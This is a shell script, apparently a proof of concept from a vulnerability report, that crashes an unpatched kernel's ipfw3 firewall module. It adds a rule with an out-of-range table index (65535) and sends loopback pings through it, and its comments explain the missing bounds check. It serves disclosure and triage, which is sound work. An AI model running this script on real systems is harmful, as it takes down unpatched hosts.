#!/bin/sh
# DF-0749 — trigger script (the rule itself panics the kernel; this is
# what gets run on the unpatched guest, then the panic is read out of
# the serial boot.log).
#
# Requires: root on guest.  ipfw3 module load + rule add both need
# PRIV_ROOT, so this is a root->kernel DoS — there is no unprivileged
# escalation path.  See VERDICT.md for the bright-line analysis.

set -u

# Bring ipfw3 up default-accept so the box stays reachable long enough
# for the rule add to round-trip.
sysctl net.filters_default_to_accept=1
kldload ipfw3
kldload ipfw3_basic
kldload ipfw3_layer2
ipfw3 flush

# Bad rule: mac-from table 65535 -> cmd->arg1 = 65535 (no bounds check).
# table_ctx is a 32-entry array; arg1*56 ≈ 3.5 MB past the allocation,
# guaranteed past any slab -> supervisor read of unmapped address -> panic.
ipfw3 add 1000 allow ip from any to any mac-from table 65535

# Provoke a packet through the rule.  Any IP packet hits the matcher;
# loopback is sufficient because the OOB load fires BEFORE the eh==NULL
# gate at line 124.
ping -c 1 -s 8 127.0.0.1 >/dev/null 2>&1 || true

# If the kernel is still alive, force more packets.
for i in 1 2 3 4 5; do
	ping -c 1 -t 1 127.0.0.1 >/dev/null 2>&1 || true
done

echo "STILL_ALIVE: bug did not panic this kernel (check boot.log)"
